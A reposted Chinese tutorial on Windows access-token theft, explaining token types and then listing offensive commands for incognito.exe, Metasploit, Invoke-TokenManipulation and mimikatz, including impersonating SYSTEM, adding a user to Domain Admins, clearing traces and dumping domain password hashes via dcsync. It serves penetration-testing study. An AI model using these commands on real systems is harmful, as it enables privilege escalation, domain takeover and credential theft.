windows—令牌窃取
Posted Thgilil
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了windows—令牌窃取相关的知识,希望对你有一定的参考价值。
令牌的定义
令牌是描述进程或者线程安全上下文的一个对象。不同的用户登录计算机后, 都会生成一个Access Token,这个Token在用户创建进程或者线程时会被使用,不断的拷贝,这也就解释了A用户创建一个进程而该进程没有B用户的权限。一般用户双击运行一个进程都会拷贝explorer.exe的Access Token。
Windows下的访问令牌分为:
* 授权令牌(Delegation token):交互式会话登陆(例:本地用户登陆、用户桌面等)
* 模拟令牌(Impersonation token):非交互式登陆(例:net use 访问共享文件)
两种token只有在系统重启后才会清除;授权令牌在用户注销后,该令牌会变为模拟令牌依旧有效
以上简单理解就是, 当前系统中的某个进程或线程能访问到什么样的系统资源,完全取决于你当前进程是拿着谁的令牌。
Windows Access Token产生过程
用户使用凭据(用户密码)进行认证-->登录session创建-->windows返回用户的sid和用户所在组的sid-->LSA创建一个Access token-->使用凭据成功认证-->登录session-->token-->进程、线程
在获取到了服务器shell后,我们只能枚举出当前用户和比 当前用户权限更低用户的令牌。令牌的数量取决于当前shell的访问级别,如果当前的shell是administrator或者是system,我们就可以看到系统中的所有的令牌。
所以想要获得管理员的令牌,就需要对shell进行提权,也可以理解为先提权,后令牌窃取
在现实提权过程中,我们使用exp或永恒之蓝等能够直接提权到system,但假如我们利用mimikatz和hashdump不能获得administrator用户的密码,那我们只能通过令牌窃取进行降权,获得administrator用户的shell,从而以administrator用户的身份启动某些服务(因为某些服务只能通过administrator用户启动)。
令牌窃取工具:
cs、msf、empire、incognito.exe
令牌窃取实战:
incognito窃取令牌
incognito.exe下载
https://labs.mwrinfosecurity.com/assets/BlogFiles/incognito2.zip
上传incognito.exe到服务器可执行目录中
执行文件,列出用户的token
incognito.exe list_tokens -u
可以看到只有当前用户的token,无法窃取比当前用户权限高的token
切换到管理员账户进行窃取
可以看到获取到了管理员的令牌
使用获取到的令牌执行命令
incognito.exe execute -c "LG-85EFB2724B8C\\Administrator" calc.exe
其他命令
通过IPC远程列举tokens
incognito.exe -h IP|IP_list.txt -u administrator -p Password1 -g list_tokens -u
# 以指定token执行命令
incognito.exe execute -c "NT AUTHORITY\\SYSTEM" xx.exe
# 指定远程登录的账号试图登录并列举所hosts.txt里主机所有的token,将test用户加入到域管理员组
incognito.exe -f hosts.txt -u administrator -p Password -n 20 add_group_user -h dc1.corp.target.net "Domain Admins" test
# 指定域用户执行命令
incognito.exe execute "domain\\administrator" "cmd"
# 清理痕迹
incognito.exe -h x.x.x.x -u administrator -p Password cleanup
MSF窃取令牌
自己搭建实验的话可使用msfvenom生成一个反弹shell
获取到一个meterpreter后,使用 incognito 窃取令牌
##加载incognito
load incognito
list_tokens -u
获取到了管理员的令牌
使用管理员令牌
注意:这里输入主机名\\用户名时需要使用两个反斜杠 \\
impersonate_token "LG-85EFB2724B8C\\\\Administrator"
执行完命令后,通过以下命令返回之前的token
rev2self
##或
drop_token
Invoke-TokenManipulation.ps1 窃取令牌
# 列举token
1. Invoke-TokenManipulation -Enumerate
# 提权至system
2. Invoke-TokenManipulation -CreateProcess "cmd.exe" -Username "nt authority\\system"
# 复制进程token
3. Invoke-TokenManipulation -CreateProcess "cmd.exe" -ProcessId 500
# 复制线程token
4. Invoke-TokenManipulation -CreateProcess "cmd.exe" -ThreadId 500
Mimikatz.exe
##二进制文件下载地址
https://github.com/gentilkiwi/mimikatz/releases
执行文件,查看当前令牌
C:\\.....> mimikatz.exe
mimikatz# token::whoami
##列出所有令牌
mimikatz# token::list
##把当前权限提升为system
mimikatz# token::elevate
##模拟域管理员令牌
##搭建的机子未开启域,所以没有模拟成功
mimikatz# token::Elevate /domainadmin
##导出域控种的所有用户的密码 hash,如果没有没有权限会报错
mimikatz# lsadump::dcsync /domain:rootkit.org /all /csv
##还原令牌到初始状态
mimikatz# token::revert
参考:
http://t3ngyu.leanote.com/post/Windows-Access
https://hackergu.com/powerup-stealtoken-rottenpotato/
以上是关于windows—令牌窃取的主要内容,如果未能解决你的问题,请参考以下文章